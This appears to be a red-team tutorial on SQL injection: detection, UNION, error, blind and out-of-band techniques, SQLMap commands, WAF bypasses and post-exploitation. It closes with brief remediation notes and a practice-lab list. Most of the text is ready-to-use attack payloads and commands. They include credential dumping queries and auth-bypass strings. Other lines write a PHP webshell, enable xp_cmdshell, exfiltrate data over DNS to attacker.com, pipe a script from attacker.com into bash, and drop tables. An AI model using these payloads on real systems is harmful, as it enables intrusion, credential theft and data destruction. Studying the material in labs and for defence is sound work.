SQL injection has been on the OWASP Top 10 since the list started. In 2026, it still breaks real systems. Poorly sanitized inputs, legacy codebases, ORM misconfigurations — the attack surface hasn’t gone away. If anything, the rise of AI-generated code has introduced new classes of injection bugs.

This guide covers everything: how SQLi works, how to detect it, how to exploit it across all major categories, how to weaponize SQLMap, and how to bypass WAFs when they’re in the way.


What Is SQL Injection?

SQL injection happens when user-supplied input gets incorporated into a database query without proper sanitization or parameterization. The attacker’s input changes the query’s logic — extracting data, bypassing authentication, or executing commands.

Classic example:

-- Application query
SELECT * FROM users WHERE username = '$input' AND password = '$pass';

-- Attacker input: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
-- Returns all users. Login bypassed.

This pattern — input escaping query boundaries — is the core of every SQLi variant.


Reconnaissance: Finding Injection Points

Before throwing payloads, map the attack surface.

Where to look:

  • URL parameters: ?id=1, ?category=news, ?page=about
  • POST body fields: login forms, search boxes, registration forms
  • HTTP headers: User-Agent, X-Forwarded-For, Cookie, Referer
  • JSON/XML body: REST APIs with structured input
  • GraphQL queries: variable injection, query manipulation

Manual detection:

Start with characters that break SQL syntax:

'
''
`
')
"))
' OR '1'='1
' OR 1=1--
' AND 1=2--
1; SELECT SLEEP(5)--

Watch for:

  • Error messages — database errors indicate injection (MySQL, MSSQL, Oracle, PostgreSQL all have distinct error formats)
  • Changed output — extra rows, different data
  • Time delays — confirms blind time-based injection
  • Generic error pages — may indicate error suppression, not absence of SQLi

Boolean-based detection:

Two requests that should behave identically:

?id=1' AND 1=1--    → normal response (condition true)
?id=1' AND 1=2--    → different response (condition false)

If the responses differ — you have boolean-based SQLi.


SQLi Categories

1. In-Band: UNION-Based

The most direct exploitation path. You inject a UNION SELECT to append rows to the query’s result and see them in the response.

Step 1: Determine column count

-- Order by until error
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--    ← error here = 2 columns

Or use NULL enumeration:

?id=1 UNION SELECT NULL--
?id=1 UNION SELECT NULL,NULL--
?id=1 UNION SELECT NULL,NULL,NULL--    ← no error = 3 columns

Step 2: Find printable columns

?id=1 UNION SELECT 'a',NULL,NULL--
?id=1 UNION SELECT NULL,'a',NULL--
?id=1 UNION SELECT NULL,NULL,'a'--

The column that shows a in the response is where you inject.

Step 3: Extract data (MySQL)

-- Database version
?id=0 UNION SELECT NULL,version(),NULL--

-- Current database
?id=0 UNION SELECT NULL,database(),NULL--

-- List databases
?id=0 UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata--

-- List tables
?id=0 UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='target_db'--

-- List columns
?id=0 UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--

-- Extract credentials
?id=0 UNION SELECT NULL,concat(username,':',password),NULL FROM users--

Database-specific syntax:

DBVersion queryString concat
MySQLSELECT @@versionconcat(a,b)
MSSQLSELECT @@versiona+b
PostgreSQLSELECT version()a||b
OracleSELECT * FROM v$versiona||b
SQLiteSELECT sqlite_version()a||b

2. In-Band: Error-Based

When the application echoes database errors, you can extract data through them.

MySQL — ExtractValue:

' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--

MySQL — UpdateXML:

' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--

MSSQL — Convert error:

' AND 1=convert(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

PostgreSQL — Cast error:

' AND cast((SELECT version()) as int)=1--

3. Blind: Boolean-Based

No data in the response — but you can infer data character by character based on true/false conditions.

Concept:

-- Is the first character of the database name 'a'?
?id=1' AND SUBSTRING(database(),1,1)='a'--

If the page responds normally → true. If it’s different → false. Iterate character by character.

Character extraction loop (manual logic):

-- Position 1 of database name, ASCII comparison
?id=1' AND ASCII(SUBSTRING(database(),1,1))>90--
?id=1' AND ASCII(SUBSTRING(database(),1,1))>100--
?id=1' AND ASCII(SUBSTRING(database(),1,1))=115--    ← 's' = 115

This is tedious manually. Use SQLMap for automation (see below).

PostgreSQL blind:

?id=1' AND SUBSTRING((SELECT current_database()),1,1)='s'--

MSSQL blind:

?id=1' AND SUBSTRING((SELECT DB_NAME()),1,1)='s'--

4. Blind: Time-Based

No response difference at all — but you can trigger time delays to confirm injection and extract data.

MySQL — SLEEP:

?id=1' AND SLEEP(5)--                          ← 5 second delay
?id=1' AND IF(1=1,SLEEP(5),0)--               ← conditional delay
?id=1' AND IF(SUBSTRING(database(),1,1)='s',SLEEP(5),0)--  ← data extraction

MSSQL — WAITFOR:

?id=1'; WAITFOR DELAY '0:0:5'--
?id=1'; IF (SUBSTRING(DB_NAME(),1,1)='s') WAITFOR DELAY '0:0:5'--

PostgreSQL — pg_sleep:

?id=1'; SELECT pg_sleep(5)--
?id=1' AND (SELECT CASE WHEN SUBSTRING(current_database(),1,1)='s' THEN pg_sleep(5) ELSE pg_sleep(0) END) IS NOT NULL--

Oracle — DBMS_PIPE:

?id=1'; exec dbms_pipe.receive_message(('a'),5)--

5. Out-of-Band (OOB)

When blind injection exists but the app is too slow or inconsistent for time-based, OOB exfiltrates data through DNS or HTTP.

MySQL — DNS via LOAD_FILE:

Requires FILE privilege and secure_file_priv setting permissive.

?id=1' AND LOAD_FILE(concat('\\\\',database(),'.attacker.com\\x'))--

Watch your DNS server (or use Burp Collaborator/interactsh) for the lookup.

MSSQL — xp_dirtree:

?id=1'; exec master..xp_dirtree '\\attacker.com\x'--

Oracle — UTL_HTTP:

?id=1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

Practical OOB setup:

Use interactsh (open source Burp Collaborator alternative):

# Run interactsh server
interactsh-server

# Or use the hosted version via CLI
interactsh-client
# Get your unique URL: xxxx.oast.fun

SQLMap: The Automation Weapon

SQLMap handles detection, exploitation, and data extraction automatically. Know it cold.

Installation

# Kali/Parrot — already installed
sqlmap --version

# From source
git clone https://github.com/sqlmapproject/sqlmap
cd sqlmap && python3 sqlmap.py --version

Basic Usage

# Simple GET parameter test
sqlmap -u "https://target.com/page?id=1"

# POST request
sqlmap -u "https://target.com/login" --data="username=admin&password=test"

# Test specific parameter
sqlmap -u "https://target.com/page?id=1&cat=2" -p id

# From Burp saved request file
sqlmap -r request.txt

Essential Flags

# Database enumeration
sqlmap -u "https://target.com/?id=1" --dbs         # list databases
sqlmap -u "https://target.com/?id=1" -D target_db --tables    # list tables
sqlmap -u "https://target.com/?id=1" -D target_db -T users --columns  # list columns
sqlmap -u "https://target.com/?id=1" -D target_db -T users -C username,password --dump  # dump data

# Increase detection aggressiveness
sqlmap -u "https://target.com/?id=1" --level=5 --risk=3

# Specify DB type (speeds up)
sqlmap -u "https://target.com/?id=1" --dbms=mysql

# Attempt OS shell (if stacked queries + write priv)
sqlmap -u "https://target.com/?id=1" --os-shell

# Read files
sqlmap -u "https://target.com/?id=1" --file-read="/etc/passwd"

# Write files (MySQL + FILE privilege)
sqlmap -u "https://target.com/?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Set cookies (authenticated sessions)
sqlmap -u "https://target.com/?id=1" --cookie="PHPSESSID=abcdef123456"

# Custom headers
sqlmap -u "https://target.com/?id=1" -H "X-Forwarded-For: 127.0.0.1"

# Bypass 403/rate limiting — randomize user agent
sqlmap -u "https://target.com/?id=1" --random-agent

# Threads (faster)
sqlmap -u "https://target.com/?id=1" --threads=10

# Verbose output (see payloads)
sqlmap -u "https://target.com/?id=1" -v 3

# Batch mode (no prompts)
sqlmap -u "https://target.com/?id=1" --batch

Testing HTTP Headers

Some of the best injection points are in headers:

# User-Agent injection
sqlmap -u "https://target.com/" --level=3  # level 3+ tests headers

# Cookie injection  
sqlmap -u "https://target.com/" --cookie="id=1*"  # * marks injection point

# X-Forwarded-For (logging injection)
sqlmap -u "https://target.com/" -H "X-Forwarded-For: 1*"

JSON/REST APIs

# JSON POST body
sqlmap -u "https://api.target.com/users" \
  --data='{"id":"1","category":"news"}' \
  --headers="Content-Type: application/json"

# REST path parameter (use *)
sqlmap -u "https://target.com/api/user/1*"

WAF Detection & Bypass

Web Application Firewalls block obvious payloads. Bypassing them is a core skill.

Detect WAF presence

# wafw00f — identifies WAF vendor
pip install wafw00f
wafw00f https://target.com

# SQLMap WAF identification
sqlmap -u "https://target.com/?id=1" --identify-waf

Core Bypass Techniques

1. Case variation:

' uNioN sElEcT null,null,null--
' UnIoN SeLeCt null,null,null--

2. Comment insertion:

' UN/**/ION SEL/**/ECT null,null--
' UNION/*!32302*/SELECT null,null--

3. URL encoding:

%27%20UNION%20SELECT%20null%2Cnull--
%27%20union%20select%20null%2Cnull--

4. Double URL encoding:

%2527 → %27 → '
%2520 → %20 → space

5. Unicode/hex encoding:

' /*!UNION*/ /*!SELECT*/ null,null--
0x53454c454354  -- hex for SELECT

6. Alternative whitespace:

-- Tab, newline, carriage return instead of space
'%09UNION%0ASELECT%0Dnull,null--

7. Scientific notation (MySQL):

1e0UNION SELECT null,null--

8. Inline comments as spacers:

'/**/UNION/**/SELECT/**/null,null--

SQLMap Tamper Scripts

SQLMap includes tamper scripts specifically for WAF bypass:

# Common tampers
sqlmap -u "URL" --tamper=space2comment
sqlmap -u "URL" --tamper=randomcase
sqlmap -u "URL" --tamper=between
sqlmap -u "URL" --tamper=charencode        # URL encode everything
sqlmap -u "URL" --tamper=chardoubleencode  # Double URL encode
sqlmap -u "URL" --tamper=base64encode
sqlmap -u "URL" --tamper=equaltolike       # = to LIKE
sqlmap -u "URL" --tamper=apostrophemask    # ' to UTF-8 encoding
sqlmap -u "URL" --tamper=symboliclogical   # AND/OR to && and ||

# Stack multiple tampers
sqlmap -u "URL" --tamper=randomcase,space2comment,between

# For ModSecurity specifically
sqlmap -u "URL" --tamper=modsecurityversioned
sqlmap -u "URL" --tamper=modsecurityzeroversioned

# List all available tampers
sqlmap --list-tampers

Cloudflare WAF Bypass Tips

Cloudflare is the most common WAF red teamers encounter:

  • Slow down: --delay=2 between requests to avoid rate limiting
  • Randomize user agent: --random-agent
  • Use chunked transfer: some WAFs inspect bodies differently
  • Try out-of-band: DNS exfiltration often bypasses response-based WAF inspection
  • Test from multiple IPs: rule-based blocks are often IP-scoped

Authentication Bypass via SQLi

Classic but still found in legacy apps, IoT devices, and VPN portals:

-- Username field payloads
admin'--
admin' #
admin'/*
' OR 1=1--
' OR 'x'='x
') OR ('1'='1
admin' AND 1=1--

-- Bypass MD5-based login
' UNION SELECT 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99'--
-- (password hash of 'password')

Second-Order SQLi

The payload is stored, then executed later when another query uses it. Common in:

  • Profile fields (username, bio, address)
  • Notes/comments stored in DB
  • Password reset flows

Example: Register with username admin'--. Later, a password change function queries:

UPDATE users SET password='$new' WHERE username='$username';
-- Becomes:
UPDATE users SET password='hacked' WHERE username='admin'--';

Detection: Store benign-looking payloads in fields, then trigger the secondary query (password change, profile view, etc.) and watch for errors or unexpected behavior.


Post-Exploitation: Reading Files & Shell Upload

If you have a high-privilege account and write access:

MySQL — Read files:

UNION SELECT LOAD_FILE('/etc/passwd'),NULL--
UNION SELECT LOAD_FILE('/var/www/html/config.php'),NULL--

MySQL — Write webshell:

UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--

MSSQL — Command execution via xp_cmdshell:

'; EXEC xp_cmdshell 'whoami'--
-- If disabled:
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
'; EXEC xp_cmdshell 'whoami'--

PostgreSQL — COPY TO/FROM:

'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash'--

Stacked Queries

Multiple SQL statements separated by ;. Supported by MSSQL, PostgreSQL, SQLite — not MySQL via PHP’s mysqli_query() (but MySQL via PDO sometimes allows it).

?id=1; DROP TABLE users--
?id=1; INSERT INTO admins VALUES('hacker','hacked')--
?id=1; UPDATE users SET password='hacked' WHERE username='admin'--

Stacked queries open up command execution paths on MSSQL and PostgreSQL.


Automation & Workflow

Full recon-to-dump workflow:

# Step 1: Identify and confirm
sqlmap -u "https://target.com/?id=1" --batch --dbs

# Step 2: Enumerate target DB
sqlmap -u "https://target.com/?id=1" --batch -D app_db --tables

# Step 3: Focus on high-value tables
sqlmap -u "https://target.com/?id=1" --batch -D app_db -T users,admins,credentials --dump

# Step 4: If WAF blocking — add tampers
sqlmap -u "https://target.com/?id=1" --batch --dbs \
  --tamper=randomcase,space2comment \
  --random-agent \
  --delay=1 \
  --level=5 --risk=2

Bug bounty automation:

# Find parameters with gf
echo "https://target.com" | waybackurls | gf sqli | tee sqli_candidates.txt

# Feed to SQLMap
sqlmap -m sqli_candidates.txt --batch --level=2 --risk=1 --dbs

Required tools: waybackurls, gf (tomnomnom), sqlmap


Practice Labs

SQLi is a skill that requires hands-on practice. The tools and theory only go so far.

PlatformCostWhat you get
PortSwigger Web Security AcademyFreeBest SQLi labs — covers every technique
DVWAFreeSelf-hosted, beginner-friendly
HackTheBox$14/moReal-world boxes, many with SQLi
TryHackMeFree/paidGuided SQLi rooms

Want to run your own vulnerable lab? Spin up a VPS and deploy DVWA or bWAPP in Docker:

docker run -d -p 8080:80 vulnerables/web-dvwa

Vultr and DigitalOcean both have $6/month instances that work fine for this:

A cloud VPS gives you a clean, isolated environment you can blow away and rebuild without touching your home network.


Defensive Notes (for report writing)

When you find SQLi and need to document remediation:

  1. Parameterized queries / prepared statements — the only real fix. Not input sanitization, not escaping.
  2. ORM usage — still need parameterization; ORM doesn’t automatically protect against all injection
  3. Least privilege — DB user should not have FILE, SUPER, or xp_cmdshell access
  4. WAF as defense-in-depth — not a primary control; bypass is often trivial
  5. Error handling — never expose database errors to users; log server-side only
  6. Second-order awareness — stored data must be parameterized at read time too, not just write time

Quick Reference Cheat Sheet

TechniqueMySQLMSSQLPostgreSQL
Version@@version@@versionversion()
Current DBdatabase()DB_NAME()current_database()
All DBsinformation_schema.schematasys.databasespg_database
SleepSLEEP(5)WAITFOR DELAY '0:0:5'pg_sleep(5)
String concatconcat(a,b)a+ba||b
Limit 1 rowLIMIT 1TOP 1LIMIT 1
Comment-- or #----

Wrapping Up

SQL injection is old. It’s also effective. Every red teamer needs to be able to manually detect, exploit, and chain SQLi — not just point SQLMap at a URL and hope.

The techniques here — UNION-based extraction, blind boolean/time-based, WAF bypass with tampers, stacked query execution — are what actually show up on real engagements. Know them.

If you’re building on this, the next step is web application pentesting methodology for the broader workflow SQLi fits into.


Need a professional pentest report that actually communicates SQLi findings to stakeholders? CipherWrite handles technical writing for security professionals — from PoC documentation to executive summaries.